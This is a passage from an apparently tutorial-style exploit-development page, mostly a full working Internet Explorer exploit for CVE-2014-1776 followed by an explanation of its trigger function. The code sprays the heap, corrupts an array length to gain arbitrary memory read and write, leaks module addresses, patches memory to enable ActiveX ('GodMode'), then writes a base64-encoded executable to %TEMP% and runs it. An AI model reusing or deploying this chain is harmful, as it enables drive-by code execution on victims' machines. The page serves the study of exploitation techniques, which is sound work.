pieces.push(padding + dword2Str(value));
pos = offset + 4;
}
// The "- 2" accounts for the null wchar at the end of the string.
var padding = new Array((tot_bytes - 2 - pos)/2 + 1).join("a");
pieces.push(padding);
return pieces.join("");
}
function trigger() {
var head = document.getElementById("haed")
tmp = document.createElement("CVE-2014-1776")
document.getElementById("vml").childNodes[0].appendChild(tmp)
tmp.appendChild(head)
tmp = head.offsetParent
tmp.onpropertychange = function(){
this["removeNode"](true)
document.createElement("CVE-2014-1776").title = ""
var elem = document.createElement("div");
elem.className = getPattern([
0xa4, magic_addr + 0x20 - 0xc, // X; X+0xc --> b[0]
0x118, magic_addr + 0x24 + 0x24, // U; U --> (*); U-0x24 --> b[1]
0x198, -1 // bit 12 set
], 0x428);
}
head.firstChild.nextSibling.disabled = head
}
// The object is 0x428 bytes.
// Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
// X = [ptr+0A4h] ==> Y = [X+0ch] ==>
// [Y+208h] is 0
// [Y+630h+248h] = [Y+878h] val to inc! <======
// [Y+630h+380h] = [Y+9b0h] has bit 16 set
// [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
// [Y+1044h] is 0
// U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
// [W+0ah] has bit 1 set & bit 4 unset
// [W+44h] has bit 7 set
// [W+5ch] is writable
// [ptr+198h] has bit 12 set
window.onload = function() {
CollectGarbage();
var header_size = 0x20;
var array_len = (0x10000 - header_size)/4;
var a = new Array();
for (var i = 0; i < 0x1000; ++i) {
a[i] = new Array(array_len);
var idx;
b = a[i];
b[0] = magic_addr + 0x1b - 0x878; // Y
idx = Math.floor((b[0] + 0x9b0 - (magic_addr + 0x20))/4); // index for Y+9b0h
b[idx] = -1; b[idx+1] = -1;
idx = Math.floor((b[0] + 0xa24 - (magic_addr + 0x20))/4); // index for Y+0a24h
b[idx] = -1; b[idx+1] = -1;
idx = Math.floor((b[0] + 0x1044 - (magic_addr + 0x20))/4); // index for Y+1044h
b[idx] = 0; b[idx+1] = 0;
// The following address would be negative so we add 0x10000 to translate the address
// from the previous copy of the array to this one.
idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4); // index for Y+208h
b[idx] = 0; b[idx+1] = 0;
b[1] = magic_addr + 0x28 - 0x1c; // V, [U-24h]; V+1ch --> b[2]
b[(0x24 + 0x24 - 0x20)/4] = 0; // [U] (*)
b[2] = magic_addr + 0x2c - 0xa; // W; W+0ah --> b[3]
b[3] = 2; // [W+0ah]
idx = Math.floor((b[2] + 0x44 - (magic_addr + 0x20))/4); // index for W+44h
b[idx] = -1; b[idx+1] = -1;
}
// /------- allocation header -------\ /--------- buffer header ---------\
// 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
// array_len buf_len
// alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
trigger();
// Locate the modified Array.
idx = -1;
for (var i = 0; i < 0x1000 - 1; ++i) {
// We try to modify the first element of the next Array.
a[i][array_len + header_size/4] = 1;
// If we successfully modified the first element of the next Array, then a[i]
// is the Array whose length we modified.
if (a[i+1][0] == 1) {
idx = i;
break;
}
}
if (idx == -1) {
// alert("Can't find the modified Array");
window.location.reload();
return;
}
// Modify the second Array for reading/writing everywhere.
a[idx][array_len + 0x14/4] = 0x3fffffff;
a[idx][array_len + 0x18/4] = 0x3fffffff;
a[idx+1].length = 0x3fffffff;
var base_addr = magic_addr + 0x10000 + header_size;
// Very Important:
// The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
// converted to 64-bit floating point.
// This means that we can't, for instance, write
// a[idx+1][index] = 0xc1a0c1a0;
// The number 0xc1a0c1a0 is too big to fit in a signed int32.
// We'll need to represent 0xc1a0c1a0 as a negative integer:
// a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
function int2uint(x) {
return (x < 0) ? 0x100000000 + x : x;
}
function uint2int(x) {
return (x >= 0x80000000) ? x - 0x100000000 : x;
}
// The value returned will be in [0, 0xffffffff].
function read(addr) {
var delta = addr - base_addr;
var val;
if (delta >= 0)
val = a[idx+1][delta/4];
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
val = a[idx+1][(0x100000000 + delta)/4];
return int2uint(val);
}
// val must be in [0, 0xffffffff].
function write(addr, val) {
val = uint2int(val);
var delta = addr - base_addr;
if (delta >= 0)
a[idx+1][delta/4] = val;
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
a[idx+1][(0x100000000 + delta)/4] = val;
}
function get_addr(obj) {
a[idx+2][0] = obj;
return read(base_addr + 0x10000);
}
// Here's the beginning of the element div:
// +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
// v
// 6cc55480 05354280 00000000 0536cfb0
//
// To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
// X = [div_elem+0ch]
// X = [X+8]
// obj_ptr = [X+10h]
// vftptr = [obj_ptr]
// where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
var addr = get_addr(document.createElement("div"));
jscript9 = read(addr) - 0x5480;
mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;
var old1 = read(mshtml+0xebcd98+0x10);
var old2 = read(mshtml+0xebcd98+0x14);
function GodModeOn() {
write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
}
function GodModeOff() {
write(mshtml+0xebcd98+0x10, old1);
write(mshtml+0xebcd98+0x14, old2);
}
// content of exe file encoded in base64.
runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
var bStream_addr = get_addr(bStream);
var string_addr = read(read(bStream_addr + 0x50) + 0x44);
if (read(string_addr) != 0) { // only when there is a string to overwrite
write(string_addr, 0x003a0043); // 'C:'
write(string_addr + 4, 0x0000005c); // '\'
}
try {
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
}
catch(err) {
return 0;
}
tStream.Close();
bStream.Close();
return 1;
}
// decoder
// [https://gist.github.com/1020396] by [https://github.com/atk]
function atob(input) {
var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var str = String(input).replace(/=+$/, '');
if (str.length % 4 == 1) {
throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded.");
}
for (
// initialize result and counters
var bc = 0, bs, buffer, idx = 0, output = '';
// get next character
buffer = str.charAt(idx++);
// character found in table? initialize bit storage and add its ascii value;
~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer,
// and if not first of each 4 characters,
// convert the first 8 bits to one ascii character
bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0
) {
// try to find character in table (0-63, not found => -1)
buffer = chars.indexOf(buffer);
}
return output;
}
function decode(b64Data) {
var data = atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
GodModeOn();
var shell = new ActiveXObject("WScript.shell");
GodModeOff();
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
if (createExe(fname, decode(runcalc)) == 0) {
// alert("SaveToFile failed");
window.location.reload();
return 0;
}
shell.Exec(fname);
// alert("Done");
}
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>
</code></pre>
<p>Once again, I snipped <span style="color: #00ff00;">runcalc</span>. You can download the full code from here: <a href="code/code8.zip">code8</a>.</p><p>This code works fine but IE may crash from time to time. This isn’t a major problem because when the user closes the crash dialog box the page is reloaded and the exploit is run again.</p><p>The new code has some subtleties so let’s discuss the important points. Let’s start with <span style="color: #00ff00;">trigger()</span>:</p>
<pre><code class="language-js"> function trigger() {
var head = document.getElementById("haed")
tmp = document.createElement("CVE-2014-1776")
document.getElementById("vml").childNodes[0].appendChild(tmp)
tmp.appendChild(head)
tmp = head.offsetParent
tmp.onpropertychange = function(){
this["removeNode"](true)
document.createElement("CVE-2014-1776").title = ""
var elem = document.createElement("div");
elem.className = getPattern([
0xa4, magic_addr + 0x20 - 0xc, // X; X+0xc --> b[0]
0x118, magic_addr + 0x24 + 0x24, // U; U --> (*); U-0x24 --> b[1]
0x198, -1 // bit 12 set
], 0x428);
}
head.firstChild.nextSibling.disabled = head
}
</code></pre>
<p>The function <span style="color: #00ff00;">getPattern</span> takes an array of the form</p>
<pre><code class="language-js">[offset_1, value_1,
offset_2, value_2,
offset_3, value_3,
...]
</code></pre>
<p>and the size in bytes of the pattern. The pattern returned is a string of the specified size which <span style="color: #00ff00;">value_1</span>, <span style="color: #00ff00;">value_2</span>, etc… at the specified offsets.</p><p>I hope the comments are clear enough. For instance, let’s consider this line:</p>
<pre><code class="language-js"> 0xa4, magic_addr + 0x20 - 0xc, // X; X+0xc --> b[0]
</code></pre>
<p>This means that</p><pre class="ignore:true">X = magic_addr + 0x20 - 0xc</pre><p>which is defined in a way that <span style="color: #00ff00;">X+0xc</span> points to <span style="color: #00ff00;">b[0]</span>, where <span style="color: #00ff00;">b[0]</span> is the first element of the <span style="color: #00ff00;">Array</span> at <span style="color: #00ff00;">magic_addr</span> (<span style="color: #00ff00;">0xc000000</span> in our code).</p><p>To understand this better, let’s consider the full schema:</p>
<pre><code class="language-js"> .
.
.
elem.className = getPattern([
0xa4, magic_addr + 0x20 - 0xc, // X; X+0xc --> b[0]
0x118, magic_addr + 0x24 + 0x24, // U; U --> (*); U-0x24 --> b[1]
0x198, -1 // bit 12 set
], 0x428);
.
.